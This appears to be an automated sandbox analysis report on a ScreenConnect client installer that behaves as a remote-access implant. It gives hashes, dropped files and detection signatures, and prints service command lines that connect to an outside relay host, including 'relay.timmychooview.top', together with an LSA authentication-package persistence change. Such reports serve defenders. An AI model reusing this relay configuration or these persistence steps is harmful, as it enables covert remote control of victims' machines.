Analysis
- max time kernel
150s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/11/2026, 16:06
Static task
static1
Behavioral task
behavioral1
Sample
ScreenConnect.ClientSetup.exe
Resource
win10v2004-20260911-en
windows10-2004-x64
26 signatures
150 seconds
Behavioral task
behavioral2
Sample
ScreenConnect.ClientSetup.exe
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
27 signatures
150 seconds
General
- Target ScreenConnect.ClientSetup.exe
- Size 12.2MB
- Sample261104-tkcmyady5n
- SHA256 09bb80f9231f429981e7639eb11aa7c3eca2af6b480c0de4908a588cca316c2f
- MD5 258b3e39b7c1a16b557d2ec694b7d50d
- SHA1 1b3f0256cd539845e27ca07598c0e9068dc293b2
- SHA512 5e3fdd372e427c1261dab2b5fc9766a8b52480e8460dee0b17387b48b1819c06052eb4fa773a9ace5966682defdf923bc6d5796f025bf5b29b2c5addd3e74028
- SSDEEP 393216:eFri04SOLtX1yFri04SOLmFri04SOLeFri04SOLt:eMrSOL54MrSOLmMrSOLeMrSOLt
- TLSH T16BD61211B3F59675D1FB0638E87AA3615A35BC014B12C7AF6794792A2D327C08E323B7
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 2 4128 msiexec.exe 3 724 rundll32.exe - Sets service image path in registry 3 TTPs 2 IoCs
This determines the executable launched when a service starts. It can be used to establish persistence.
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (7195a8b48623ccc2)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (7195a8b48623ccc2)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=instance-gp5j8s-relay.screenconnect.com&p=443&s=0469a0fa-867f-4d7b-98d6-3ce7e5db6a3a&k=BgIAAACkAABSU0ExAAgAAAEAAQCtdkn1%2bOrNhnH1fM65MJMoO0XlODUL8a5Z1wd9XTf%2fl6IHgWc42qh6SrINh0C4CFhGBmJeIxnsv9%2bKXYDTnSAk2NsxoYlOAoSvPHLHvZmL6LSc5sHrFMzR69z1uSk2%2bmgrsEGIik33YGUMf6xc4zSYsKrJtE%2fb4fe7euQt3RliLjUK3ref%2bLDcxq77OQLfz8JVVxfk5aGkAAA7NPPeSFN%2bCM5dlTBXxMDBNFldmm1yyw1j0Ov2rpPsI3i7mzpQUo%2f2FbAGbX32JbirwjNfiezn8drxJqT8AC72x0UjyR35lKeOM1JmxTDpBISRRsmHKlcftwW38G7L9W2L%2fRAn1req&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAusb06ddXR0WYG9tN4b3RrwAAAAACAAAAAAAQZgAAAAEAACAAAAD%2f3HSEgBFxnjv%2bHhvSikb%2fIwIbGiqXIPwC4FmodPkgtQAAAAAOgAAAAAIAACAAAACz7GHOZ0RsdL14YkXonQJ3c49cI705o5NyuNzKSXeJ4qAEAABN669Tv20vHPQGQollbDrPB%2fKbGcKhYItdw5UrEqh57wyMdLOlRnxqwTr7xJy6eTvvgd33LDMynWcaEK3s4Pm4%2fkb9ojxEo1PP%2boAQkMR1isuCcAXd2eAziMf8hd2Lk%2bYzI5%2bkd6CckCy1e8mOw3%2bz%2bcUHS4DYOk6ddNsDP0Luu5wGNx3%2f4KO426JO4%2f39FkgfIMP8BTo3UH3RyHWVLK9lNDmPN%2br5jSHl5JxC%2bI9KB%2bOTJi6J4APGEMLZF9dGtem7Z0yaWecwWkLWB5EBcjL6AIuBSPzhQzOAFMcP5tRJp0%2fuZQUdghJbBGyI30V722NX1rr35dEvvOHAAenXaMBpvFDxnnRWuuAoRrREEsU7yjp9MSYF4sADgDNo67aVf7Sclql1SepqIcrgK9bEFlKOXEd5Ml23%2bVVXXvJin1IAA7OetoZF3J9Y8ez9DK%2b8q2%2b7EiD1yObjElhkJzjqdU5XyE5rJ7flkeQVwTiJ7SyZZOf4i1%2fBaXJLKDw2lS9fAka1JlT0XK5aLtV8WCJqSCdu4voz8Ipz5EsbL7bwyRWfwM6cclTBLxIkQhoD%2fS60IyiHoZlf7x4LUyZrsx%2b%2bXCDgWdyWsKNFSm4ImuJhEjvTgdprZtjvSniubt0VeO0u68UYuOoRm51gcDv0B3s%2fEMDVIqgtDHsnBpPgwRKSanFz4ZLSzc8Y%2fmFQLAz8wzOvrqillEjY0NdY5wJ3ofDh1uAhwariOzhSOyTL1cBB%2f3yM7xQX47tIEw7f2JwHV0Ymfb8PP76w3w9%2fODE5mAHowJBvgkImG6k7enhE5BO%2byrYpmc4UO5obkZgIFtyYAR2SsTeIRSomZ7u10tF6gVLeWYgokkOGYvMYLNIMzvkGGsZSi1oNftxmHuVpiDlNVWOTvR%2b67tAALjNjrSVT5gCpyN2gqEyNyYazqaiT9Giw7%2bpvv2rQfjYz7opYM5%2boUjzQ1mGqXsYt9fGvLzkeC5sX%2fBHUMNZxwHZsDTCWtBO420Dx%2fLcmQF8hMuetMWaSh9y8U%2bodFwoXhiGnBPQTqC2XDqXRGouWz8vfcNlNa%2f4k24eNKvbGeXQuQtinBmZOFZeQmPumL8thDCYscx27e4pQtoF0egFyOrYyBGuTPmPy6YjX6m86VEnzpy1kjQdsWjVpCA%2f%2bdUwY06rVzVSpjTxyLftTQny9yUn7HU43PrTYZz6V9bEIWJDJ5w38bsoHtz9I1t77gwQdh%2bM8NezvOlWneHO6Lc%2fUAPD6G7ESX6djVXRrXScpVsqCJic7xIl7PEsMT8rVdxIlSi8%2bl1T568JxlU1u6si22eY1K5TDQ6qw13nPbtEVIHB3Desea94N6CT9sOIwZLizEYmNfF6eSIemTwyZylYEcsE59j%2b9zeh5O7O3VOhcd4gQQeaGH2k2XJ7o2M6VQppNnpASb%2fkz%2bGfJPrsro99xYkqUuABHntALMbZrX6jm6Jrjah%2fqdnwwvNIp9CfnGXGZn4NunjzKFV6ZX%2bg9jhoqiSo6x0euUyL%2bD8VNIA44HlSdogAR2Yf%2fuYwj2T2%2fDytnkFSD0EkMljjUTJ6%2fq8AhzsDAgn3mCa6N5lk6I0AAAABKnz2e0pV34c3uPwM%2fGR5Hvots7VejUZ2O7vQqKjNmplHfgnIre9Y2zKmCPWXGP%2fLNGxz4SWMto%2fyK4M6EnDIE\"" ScreenConnect.ClientService.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (6ad444b9212a79c7)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (6ad444b9212a79c7)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=relay.timmychooview.top&p=8041&s=f2ef93b5-0dab-450d-a5a4-43d4145fad7d&k=BgIAAACkAABSU0ExAAgAAAEAAQA9gl%2bpZUDJvKjBvA7oqJYdYuvDsZR8Akd%2f2K4jOz4yyk3TBlEljUx979ExJqoxaZHQTf8DGNDROa3wCKq4svIogG1uMYSNiYdG6apkwSON%2bmsR8R85cZTpccRYBhEIkCV0d4LU2YRAZocYiFo1zjsmg54d%2fQKTcaVIEUak79XQAioAPGcigNlTi0CM%2fkYgCSDuu8D1tMOsgSJMkwrDBUhsoTYIYIje6WBadXWbFITRS%2fEAu%2bK%2fcL%2bqt8rwlFOKzpzFokFn2Kk%2f0hlBS8S6uP19%2fJ5%2fqSIPuzWFl3W%2bn2JaVM5wNou1KwV8XBpfNKFdQj34wbE1rQamceBBGjc%2fL6HB&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAusb06ddXR0WYG9tN4b3RrwAAAAACAAAAAAAQZgAAAAEAACAAAABIxqVZQZ0iI5Uj5%2fb6P5FJ%2bFrSVuDbc%2fzqJ4s6QF%2bXXgAAAAAOgAAAAAIAACAAAAB9lG48XsDfaPpzWHbEq76UdXWW7YF9TIZYpbmp7UZVRaAEAABr%2b%2bVUw4IWjLku5vcppKvmPCTMd0YKB3vL1PNE3qvoSDkZegg2RcdNJIb%2bWRgYucV7MIjVnThfrE%2fL%2brflN9ok4temeJ3ugwnkCzrhZvBc5MyTcKCkiu%2bptoSWm4qGRQoZBUTLd2YeptCkF1MnKtXzOMx3kf4G7PgieZ%2b%2fbPJXmmNW6GRNp6nGD2j8KjmbprfTahOv%2fs4ITkshFGyNg9Gto5x0unRk%2foiQIfE3bo5aodIGawpcaKZ6f1v93dzVoHuF7g5CZkxw99liBs4jnwQBykNNeGMYKCmRa7dA0H9p7r99fxqB6CL3KgaOqYPeDNTnXtwr0eDIzkfIsTuq%2b%2beApZBLrslr%2brOjCsP1JBHy7LojPYtlGnIAWb7lAXD%2bJlvGrQaXvIt%2f2gbti3g5sNj%2f9hcttE5OKPmya3AjpzqkqGCvjnXjQRqJnJGMT%2foLJivQkc8L9DGLgSHra6rGcAAOf2XoNbop%2fnLbLkt04xIBzx9EtnNqyIFtNwUgPWgWPV7GoBq1PmUsWdgrMAB5BlTtj%2f9%2bs9evaB4p3UOu3FsO8Uw%2fmeaLyECJOem9vE21EZRxpjIg12%2fc54AQRoRkZ7nSL5Qlf%2bj%2be3V45O5qj3eFAevIBl50DCN0b15cGg2Y2ik1Ouw0W5WL%2fARt6n61Iny3kz%2fTgSj%2fAzd7tEn8MDr4ZYLsVb0KYfZmTc2K1PT328rBG5y87yfyL8Gh5Yi5R0yy19Bth6UWML1kY4vErQQwuBfDYg%2fCZES6q2CKRvWDwgVJLBlIrkbKfRnYQu0qDt4o3CnwevcftDtXK18DtqrMLDcO%2f4ABrsiKJO3LUV%2fwON92n75lP5b9KVMxqA34WdA0eDU%2blba%2b5GRVIjjKJBoGh3uONZsie99gcJHnmTS3o38vJnwDBIyh2fw8m1ChzrZ%2fEr0%2bP6%2bXCyjc9WCGcJTG0Is9dd7KL0KD1zD1cYiNUshgC7uehDLMtA6nKhoEEEzqy16NMvk5aMg5pi4q3sy7499LinOMd%2bvLF1x4axU16cMvNXHlDJ%2f8sL7Xs0BvI21wRma%2bFhTqlQVxkm1lBh9sw526U%2bULOP77Z66k6K%2f7TTIGn9AcDIEzC8LYF6WIHby8dLqIDAHiYrnxkwuSv5NsY067AfzlgQkshCn2h%2fhmIBIWDZSxgLyN2z1ag5Je48j6z0jnqODqYevGNq1fsEYKWwsKy39tIct%2faMW57egReuLD01e3wmEgRheu3TWqZJgi3WHGxsGNOyZIKWsmQ9n1j2tFrAefm8t4THv1NnVREDX0emx%2f5u4Mc8%2fA4hKf1W67yuZqwVtNH6W1hpMA0sGl0fmrYdhauqFaCCuuBJl%2fR0BWOHBB5Ep%2bZdm%2bdbNgsKJvLxsptVq4MGZdVDcIZg%2fMUm7BAgJ1zdzQ1v%2fryj%2fakNdHwGwPKlvDHRrnPRHVxCybioqJSYqZSkGG5XwajdCqmawWQFuWDUVERej0AaOstYU4CGL90%2fNnTCjOFkDtlk9QvvROoR%2b2l%2b1P%2feibyiRhqlDxKAU9uFqO7Ekv8XaTZ57xD12Ge4XNseOqjSwZDk9wYuj9uw8rVRdTxm8PvI661EAAAABXin7Bzwrkww9rNoT2uyW4w22Ja%2fyNzI9IvmGYxZCHSrwTalJGZMP8Ly%2fwBMnon2t%2b2OVFoL4z8QkW7GmihmRM\"" ScreenConnect.ClientService.exe - Signed with revoked ConnectWise certificate 1 IoCs
Binary is signed using a ConnectWise certificate revoked for key compromise.
resource yara_rule behavioral2/memory/3644-318-0x00000000040B0000-0x0000000004185000-memory.dmp revoked_cert_connectwise - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\H: msiexec.exe - Boot or Logon Autostart Execution: Authentication Package 1 TTPs 2 IoCs
Suspicious Windows Authentication Registry Modification.
description ioc Process Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800370031003900350061003800620034003800360032003300630063006300320029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000 msiexec.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800370031003900350061003800620034003800360032003300630063006300320029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c00000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800360061006400340034003400620039003200310032006100370039006300370029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000 msiexec.exe - Drops file in System32 directory 11 IoCs
description ioc Process File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (7195a8b48623ccc2)\2wi4zup1.tmp ScreenConnect.ClientService.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (7195a8b48623ccc2)\54a3hllt.tmp ScreenConnect.ClientService.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (7195a8b48623ccc2)\54a3hllt.newcfg ScreenConnect.ClientService.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (7195a8b48623ccc2)\cm2bvl02.newcfg ScreenConnect.ClientService.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (6ad444b9212a79c7)\ttarydho.tmp ScreenConnect.ClientService.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (7195a8b48623ccc2)\2wi4zup1.newcfg ScreenConnect.ClientService.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (7195a8b48623ccc2)\user.config ScreenConnect.ClientService.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (7195a8b48623ccc2)\54a3hllt.newcfg ScreenConnect.ClientService.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (7195a8b48623ccc2)\cm2bvl02.tmp ScreenConnect.ClientService.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (7195a8b48623ccc2)\cm2bvl02.newcfg ScreenConnect.ClientService.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (6ad444b9212a79c7)\ttarydho.newcfg ScreenConnect.ClientService.exe - Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Drops file in Program Files directory 35 IoCs
description ioc Process File created C:\Program Files (x86)\ScreenConnect Client (6ad444b9212a79c7)\app.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (6ad444b9212a79c7)\Client.en-US.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (6ad444b9212a79c7)\Client.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (7195a8b48623ccc2)\ScreenConnect.Client.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (7195a8b48623ccc2)\ScreenConnect.ClientService.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (7195a8b48623ccc2)\ScreenConnect.WindowsBackstageShell.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (7195a8b48623ccc2)\ScreenConnect.WindowsClient.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (7195a8b48623ccc2)\ScreenConnect.WindowsFileManager.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (6ad444b9212a79c7)\ScreenConnect.WindowsBackstageShell.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (7195a8b48623ccc2)\ScreenConnect.WindowsCredentialProvider.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (7195a8b48623ccc2)\ScreenConnect.Core.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (6ad444b9212a79c7)\ScreenConnect.Client.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (6ad444b9212a79c7)\ScreenConnect.WindowsClient.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (6ad444b9212a79c7)\ScreenConnect.ClientService.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (6ad444b9212a79c7)\ScreenConnect.WindowsFileManager.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (7195a8b48623ccc2)\ScreenConnect.Windows.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (7195a8b48623ccc2)\ScreenConnect.WindowsAuthenticationPackage.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (7195a8b48623ccc2)\ScreenConnect.WindowsClient.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (7195a8b48623ccc2)\Client.en-US.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (6ad444b9212a79c7)\ScreenConnect.ClientService.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (6ad444b9212a79c7)\ScreenConnect.WindowsCredentialProvider.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (7195a8b48623ccc2)\ScreenConnect.WindowsFileManager.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (7195a8b48623ccc2)\Client.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (6ad444b9212a79c7)\ScreenConnect.Core.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (6ad444b9212a79c7)\ScreenConnect.Windows.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (6ad444b9212a79c7)\ScreenConnect.WindowsAuthenticationPackage.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (6ad444b9212a79c7)\Client.Override.en-US.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (6ad444b9212a79c7)\Client.Override.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (6ad444b9212a79c7)\system.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (7195a8b48623ccc2)\ScreenConnect.WindowsBackstageShell.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (6ad444b9212a79c7)\ScreenConnect.WindowsBackstageShell.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (7195a8b48623ccc2)\ScreenConnect.ClientService.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (6ad444b9212a79c7)\ScreenConnect.WindowsFileManager.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (7195a8b48623ccc2)\system.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (6ad444b9212a79c7)\ScreenConnect.WindowsClient.exe.config msiexec.exe - Drops file in Windows directory 49 IoCs
description ioc Process File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File created C:\Windows\SystemTemp\~DF5C31CE8195C8C219.TMP msiexec.exe File created C:\Windows\SystemTemp\~DF9D9D4F6FA1CB6FC8.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSI131A.tmp-\Microsoft.Deployment.WindowsInstaller.dll rundll32.exe File created C:\Windows\SystemTemp\~DFB269042BEB2FF4A8.TMP msiexec.exe File created C:\Windows\Installer\e599689.msi msiexec.exe File created C:\Windows\Installer\wix{961B79C3-24E4-1744-14F9-F3C8653614D8}.SchedServiceConfig.rmi MsiExec.exe File created C:\Windows\Installer\e59968b.msi msiexec.exe File created C:\Windows\SystemTemp\~DF72ECB3CE8E46573B.TMP msiexec.exe File created C:\Windows\SystemTemp\ScreenConnect\26.7.6.9783\Timy.msi ScreenConnect.ClientService.exe File opened for modification C:\Windows\Installer\e59968c.msi msiexec.exe File opened for modification C:\Windows\Installer\MSI131A.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll rundll32.exe File opened for modification C:\Windows\Installer\MSI131A.tmp-\ScreenConnect.Core.dll rundll32.exe File created C:\Windows\SystemTemp\~DF905F422D13444A7C.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSI131A.tmp-\ScreenConnect.InstallerActions.dll rundll32.exe File opened for modification C:\Windows\Installer\MSI131A.tmp-\CustomAction.config rundll32.exe File created C:\Windows\SystemTemp\~DF87F692C9CEA52277.TMP msiexec.exe File created C:\Windows\SystemTemp\~DF7F981903A01451C2.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSI184D.tmp msiexec.exe File created C:\Windows\Installer\{A217F605-DB82-6FFB-00BB-E2B4F310CF8E}\DefaultIcon msiexec.exe File opened for modification C:\Windows\Installer\{A217F605-DB82-6FFB-00BB-E2B4F310CF8E}\DefaultIcon msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\Installer\SourceHash{961B79C3-24E4-1744-14F9-F3C8653614D8} msiexec.exe File opened for modification C:\Windows\Installer\MSI9F94.tmp msiexec.exe File opened for modification C:\Windows\Installer\{961B79C3-24E4-1744-14F9-F3C8653614D8}\DefaultIcon msiexec.exe File created C:\Windows\Installer\e59968c.msi msiexec.exe File opened for modification C:\Windows\Installer\MSI1686.tmp msiexec.exe File created C:\Windows\SystemTemp\~DF651F203E51A68825.TMP msiexec.exe File opened for modification C:\Windows\Installer\e599689.msi msiexec.exe File opened for modification C:\Windows\Installer\MSI9BE8.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI9C18.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI131A.tmp-\Microsoft.Deployment.Compression.dll rundll32.exe File created C:\Windows\Installer\SourceHash{A217F605-DB82-6FFB-00BB-E2B4F310CF8E} msiexec.exe File created C:\Windows\Installer\wix{A217F605-DB82-6FFB-00BB-E2B4F310CF8E}.SchedServiceConfig.rmi MsiExec.exe File created C:\Windows\Installer\e599690.msi msiexec.exe File created C:\Windows\SystemTemp\~DF84FCE409445F7B9F.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSI131A.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI131A.tmp-\Microsoft.Deployment.Compression.Cab.dll rundll32.exe File created C:\Windows\SystemTemp\~DFDD81C8797F23BF8A.TMP msiexec.exe File created C:\Windows\SystemTemp\~DF70D052C6CA528C3F.TMP msiexec.exe File created C:\Windows\SystemTemp\~DF8E03681D21DB7C91.TMP msiexec.exe File created C:\Windows\SystemTemp\~DF9F87CA8D51B07627.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSI16D5.tmp msiexec.exe File created C:\Windows\SystemTemp\~DF4535EAA64A1E59EF.TMP msiexec.exe File created C:\Windows\SystemTemp\~DFC21947AC004A0BA2.TMP msiexec.exe File created C:\Windows\Installer\{961B79C3-24E4-1744-14F9-F3C8653614D8}\DefaultIcon msiexec.exe File opened for modification C:\Windows\Installer\MSI131A.tmp-\ScreenConnect.Windows.dll rundll32.exe File created C:\Windows\SystemTemp\~DF5D40F82788E0249D.TMP msiexec.exe - Executes dropped EXE 7 IoCs
pid Process 4408 ScreenConnect.ClientService.exe 5228 ScreenConnect.WindowsClient.exe 1384 ScreenConnect.WindowsClient.exe 4836 ScreenConnect.WindowsClient.exe 3644 ScreenConnect.ClientService.exe 2780 ScreenConnect.WindowsClient.exe 3716 ScreenConnect.WindowsClient.exe - Loads dropped DLL 64 IoCs
pid Process 4640 MsiExec.exe 2560 rundll32.exe 2560 rundll32.exe 2560 rundll32.exe 2560 rundll32.exe 2560 rundll32.exe 2560 rundll32.exe 2560 rundll32.exe 2560 rundll32.exe 2560 rundll32.exe 4640 MsiExec.exe 724 rundll32.exe 724 rundll32.exe 724 rundll32.exe 724 rundll32.exe 724 rundll32.exe 724 rundll32.exe 724 rundll32.exe 724 rundll32.exe 724 rundll32.exe 4640 MsiExec.exe 4740 rundll32.exe 4740 rundll32.exe 4740 rundll32.exe 4740 rundll32.exe 4740 rundll32.exe 4740 rundll32.exe 4740 rundll32.exe 4740 rundll32.exe 4740 rundll32.exe 4400 MsiExec.exe 5652 MsiExec.exe 4408 ScreenConnect.ClientService.exe 4408 ScreenConnect.ClientService.exe 4408 ScreenConnect.ClientService.exe 4408 ScreenConnect.ClientService.exe 4408 ScreenConnect.ClientService.exe 4408 ScreenConnect.ClientService.exe 4408 ScreenConnect.ClientService.exe 4408 ScreenConnect.ClientService.exe 4408 ScreenConnect.ClientService.exe 4408 ScreenConnect.ClientService.exe 6140 MsiExec.exe 2064 rundll32.exe 2064 rundll32.exe 2064 rundll32.exe 2064 rundll32.exe 2064 rundll32.exe 2064 rundll32.exe 2064 rundll32.exe 2064 rundll32.exe 2064 rundll32.exe 6140 MsiExec.exe 6140 MsiExec.exe 3644 ScreenConnect.ClientService.exe 3644 ScreenConnect.ClientService.exe 3644 ScreenConnect.ClientService.exe 3644 ScreenConnect.ClientService.exe 3644 ScreenConnect.ClientService.exe 3644 ScreenConnect.ClientService.exe 3644 ScreenConnect.ClientService.exe 3644 ScreenConnect.ClientService.exe 3644 ScreenConnect.ClientService.exe 3644 ScreenConnect.ClientService.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Reads the TCP/IP host and domain name from the registry 1 TTPs 12 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname ScreenConnect.WindowsClient.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname rundll32.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname ScreenConnect.WindowsClient.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain ScreenConnect.WindowsClient.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain ScreenConnect.WindowsClient.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain rundll32.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname ScreenConnect.ClientService.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain ScreenConnect.ClientService.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname ScreenConnect.WindowsClient.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain ScreenConnect.WindowsClient.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname ScreenConnect.ClientService.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain ScreenConnect.ClientService.exe - System Location Discovery: System Language Discovery 1 TTPs 13 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
